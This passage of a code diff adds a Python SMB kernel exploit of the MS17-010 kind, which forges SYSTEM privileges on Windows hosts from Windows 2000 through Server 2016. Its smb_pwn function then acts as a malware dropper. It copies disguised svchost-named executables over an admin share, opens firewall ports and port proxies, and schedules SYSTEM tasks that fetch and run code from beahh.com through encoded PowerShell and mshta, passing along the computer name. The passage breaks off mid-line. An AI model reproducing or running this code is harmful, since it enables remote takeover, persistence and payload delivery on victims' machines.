+ conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
+ wait_for_request_processed(conn)
+ TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 4096 + HEAP_CHUNK_PAD_SIZE
+ PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
+ PREV_TRANS_OFFSET = 4294967296L - PREV_TRANS_DISPLACEMENT
+ conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
+ if info['arch'] == 'x64':
+ conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
+ conn.send_trans_secondary(mid=info['fid'], data='\x00\x00\x00\x00', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
+ wait_for_request_processed(conn)
+ print 'leak next transaction'
+ conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_FUNCTION_OFFSET'])
+ conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 256, 256), dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_PARAMCNT_OFFSET'])
+ conn.send_nt_trans_secondary(mid=special_mid)
+ leakData = conn.recv_transaction_data(special_mid, 256)
+ leakData = leakData[4:]
+ if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != TRANS_CHUNK_SIZE // info['POOL_ALIGN']:
+ print 'chunk size is wrong'
+ return False
+ leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
+ leakTrans = leakData[leakTranOffset:]
+ fmt = info['PTR_FMT']
+ _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + fmt * 5, leakTrans, 8)
+ inparam_value, outparam_value, indata_value = unpack_from('<' + fmt * 3, leakTrans, info['TRANS_INPARAM_OFFSET'])
+ trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
+ print ('CONNECTION: 0x{:x}').format(connection_addr)
+ print ('SESSION: 0x{:x}').format(session_addr)
+ print ('FLINK: 0x{:x}').format(flink_value)
+ print ('InData: 0x{:x}').format(indata_value)
+ print ('MID: 0x{:x}').format(trans2_mid)
+ trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
+ trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
+ print ('TRANS1: 0x{:x}').format(trans1_addr)
+ print ('TRANS2: 0x{:x}').format(trans2_addr)
+ print 'modify transaction struct for arbitrary read/write'
+ TRANS_OFFSET = 4294967296L - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
+ conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<' + fmt * 3, trans1_addr, trans1_addr + 512, trans2_addr), paramDisplacement=TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'])
+ wait_for_request_processed(conn)
+ trans1_mid = conn.next_mid()
+ conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
+ wait_for_request_processed(conn)
+ info.update({'connection': connection_addr, 'session': session_addr, 'trans1_mid': trans1_mid, 'trans1_addr': trans1_addr, 'trans2_mid': trans2_mid, 'trans2_addr': trans2_addr})
+ return True
+
+
+def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
+ SID_SYSTEM = pack('<BB5xBI', 1, 1, 5, 18)
+ SID_ADMINISTRATORS = pack('<BB5xBII', 1, 2, 5, 32, 544)
+ SID_AUTHENICATED_USERS = pack('<BB5xBI', 1, 1, 5, 11)
+ SID_EVERYONE = pack('<BB5xBI', 1, 1, 1, 0)
+ sids = [SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS]
+ attrs = [0, 14, 7, 7]
+ fakeUserAndGroupCount = min(userAndGroupCount, 4)
+ fakeUserAndGroupsAddr = userAndGroupsAddr
+ addr = fakeUserAndGroupsAddr + fakeUserAndGroupCount * info['PTR_SIZE'] * 2
+ fakeUserAndGroups = ''
+ for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
+ fakeUserAndGroups += pack('<' + info['PTR_FMT'] * 2, addr, attr)
+ addr += len(sid)
+
+ fakeUserAndGroups += ('').join(sids[:fakeUserAndGroupCount])
+ return (fakeUserAndGroupCount, fakeUserAndGroups)
+
+
+def exploit(target, pipe_name, USERNAME, PASSWORD, tg):
+ conn = MYSMB(target)
+ conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+ info = {}
+ conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
+ server_os = conn.get_server_os()
+ print 'Target OS: ' + server_os
+ if server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server 2008 R2'):
+ info['os'] = 'WIN7'
+ info['method'] = exploit_matched_pairs
+ elif server_os.startswith('Windows 8') or server_os.startswith('Windows Server 2012 ') or server_os.startswith('Windows Server 2016 ') or server_os.startswith('Windows 10') or server_os.startswith('Windows RT 9200'):
+ info['os'] = 'WIN8'
+ info['method'] = exploit_matched_pairs
+ elif server_os.startswith('Windows Server (R) 2008') or server_os.startswith('Windows Vista'):
+ info['os'] = 'WIN7'
+ info['method'] = exploit_fish_barrel
+ elif server_os.startswith('Windows Server 2003 '):
+ info['os'] = 'WIN2K3'
+ info['method'] = exploit_fish_barrel
+ elif server_os.startswith('Windows 5.1'):
+ info['os'] = 'WINXP'
+ info['arch'] = 'x86'
+ info['method'] = exploit_fish_barrel
+ elif server_os.startswith('Windows XP '):
+ info['os'] = 'WINXP'
+ info['arch'] = 'x64'
+ info['method'] = exploit_fish_barrel
+ elif server_os.startswith('Windows 5.0'):
+ info['os'] = 'WIN2K'
+ info['arch'] = 'x86'
+ info['method'] = exploit_fish_barrel
+ else:
+ print 'This exploit does not support this target'
+ if pipe_name is None:
+ pipe_name = find_named_pipe(conn)
+ if pipe_name is None:
+ print 'Not found accessible named pipe'
+ return False
+ print 'Using named pipe: ' + pipe_name
+ if not info['method'](conn, pipe_name, info):
+ return False
+ fmt = info['PTR_FMT']
+ print 'make this SMB session to be SYSTEM'
+ write_data(conn, info, info['session'] + info['SESSION_ISNULL_OFFSET'], '\x00\x01')
+ sessionData = read_data(conn, info, info['session'], 256)
+ secCtxAddr = unpack_from('<' + fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
+ if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
+ if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
+ pctxtDataInfo = read_data(conn, info, secCtxAddr + info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
+ pctxtDataAddr = unpack_from('<' + fmt, pctxtDataInfo)[0]
+ else:
+ pctxtDataAddr = secCtxAddr
+ tokenAddrInfo = read_data(conn, info, pctxtDataAddr + info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
+ tokenAddr = unpack_from('<' + fmt, tokenAddrInfo)[0]
+ print ('current TOKEN addr: 0x{:x}').format(tokenAddr)
+ tokenData = read_data(conn, info, tokenAddr, 64 * info['PTR_SIZE'])
+ userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
+ print 'overwriting token UserAndGroups'
+ fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
+ if fakeUserAndGroupCount != userAndGroupCount:
+ write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
+ write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
+ else:
+ secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
+ print 'overwriting session security context'
+ write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
+ try:
+ smb_pwn(conn, info['arch'], tg)
+ except:
+ pass
+
+ if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
+ userAndGroupsOffset = userAndGroupsAddr - tokenAddr
+ write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset + len(fakeUserAndGroups)])
+ if fakeUserAndGroupCount != userAndGroupCount:
+ write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', userAndGroupCount))
+ else:
+ write_data(conn, info, secCtxAddr, secCtxData)
+ conn.disconnect_tree(conn.get_tid())
+ conn.logoff()
+ conn.get_socket().close()
+ time.sleep(2)
+ return True
+
+
+def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
+ userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
+ userAndGroupsAddr, RestrictedSids = unpack_from('<' + info['PTR_FMT'] * 2, tokenData, userAndGroupsAddrOffset)
+ success = True
+ if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
+ print 'Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!'
+ print ('RestrictedSids: 0x{:x}').format(RestrictedSids)
+ print ('RestrictedSidCount: 0x{:x}').format(RestrictedSidCount)
+ success = False
+ print ('userAndGroupCount: 0x{:x}').format(userAndGroupCount)
+ print ('userAndGroupsAddr: 0x{:x}').format(userAndGroupsAddr)
+ return (success, userAndGroupCount, userAndGroupsAddr)
+
+
+def get_group_data_from_token(info, tokenData):
+ userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
+ userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
+ success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
+ if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
+ print 'Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround'
+ userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
+ userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
+ success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
+ if not success:
+ print 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
+ return (
+ userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset)
+
+
+def smb_pwn(conn, arch, tg):
+ ee = ''
+ eb = 'c:\\windows\\system32\\calc.exe'
+ smbConn = conn.get_smbconnection()
+ if os.path.exists('c:/windows/system32/svhost.exe'):
+ eb = 'c:\\windows\\system32\\svhost.exe'
+ if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
+ eb = 'c:\\windows\\SysWOW64\\svhost.exe'
+ if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
+ eb = 'c:\\windows\\system32\\drivers\\svchost.exe'
+ if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
+ eb = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
+ service_exec(conn, 'cmd /c net share c$=c:')
+ if tg == 2:
+ smb_send_file(smbConn, eb, 'c', '/installed2.exe')
+ else:
+ smb_send_file(smbConn, eb, 'c', '/installed.exe')
+ if os.path.exists('c:/windows/temp/svvhost.exe'):
+ ee = 'c:\\windows\\temp\\svvhost.exe'
+ if os.path.exists('c:/windows/temp/svchost.exe'):
+ ee = 'c:\\windows\\temp\\svchost.exe'
+ if '.exe' in ee:
+ smb_send_file(smbConn, ee, 'c', '/windows/temp/svchost.exe')
+ else:
+ print 'no eb**************************'
+ if tg == 2:
+ bat = 'cmd /c c:\\installed2.exe&c:\\installed2.exe&echo c:\\installed2.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
+ else:
+ bat = 'cmd /c c:\\installed.exe&c:\\installed.exe&echo c:\\installed.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
+ service_exec(conn, bat)
+
+
+def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
+ with open(localSrc, 'rb') as fp:
+ smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
+
+
+def service_exec(conn, cmd):
+ import random
+ random.choice = random.choice
+ random.randint = random.randint
+ import string
+ from impacket.dcerpc.v5 import transport, srvs, scmr
+ service_name = ('').join([random.choice(string.letters) for i in range(4)])
+ rpcsvc = conn.get_dce_rpc('svcctl')
+ rpcsvc.connect()
+ rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
+ svcHandle = None
+ try:
+ try:
+ print 'Opening SVCManager on %s.....' % conn.get_remote_host()
+ resp = scmr.hROpenSCManagerW(rpcsvc)
+ svcHandle = resp['lpScHandle']
+ try:
+ resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00')
+ except Exception as e:
+ if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') ==